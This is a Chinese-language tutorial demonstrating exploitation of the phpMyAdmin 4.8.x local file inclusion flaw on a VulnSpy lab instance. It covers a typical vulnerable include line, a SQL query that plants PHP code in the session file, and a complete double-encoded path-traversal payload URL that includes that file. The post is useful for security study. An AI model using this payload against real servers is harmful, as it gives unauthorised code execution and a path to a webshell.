phpMyAdmin 4.8.x 本地文件包含漏洞利用
phpMyAdmin 4.8.x 本地文件包含漏洞利用
ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell。该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用。
这一部分我们需要先了解一下LFI漏洞(本地文件包含漏洞)
- 典型漏洞代码:
<!–?php include($_GET['pages'].‘.php’); ?–>
主要涉及到的函数有:
include(),require()、include_once(),require_once()
magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file() 、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and max_input_time()等
利用总结见:LFI漏洞利用总结
我们继续使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用。
简而言之phpMyAdmin 4.8.x 本地文件包含漏洞就是通过编码绕过白名单检测。然后编者又发现:把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的!
- 因为原文中包含数据库文件可能由于文件权限或者帐号权限不足而无法利用,这里我们将使用另外一种方式来利用该文件包含漏洞,即包含session文件。
实践
-
跟上一个漏洞一样,我们创建完成后进行登录:
-
点击顶部导航栏中的SQL按钮,执行SQL查询:
select '<?php phpinfo();exit;?>'
- 获取自己的SESSION ID
SESSION ID为:Cookie 中的 phpMyAdmin 项。
这样对应的SESSION文件为/var/lib/php/sessions/sess_SESSION ID。
4. 包含SESSION文件,成功利用该漏洞
- payload:
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k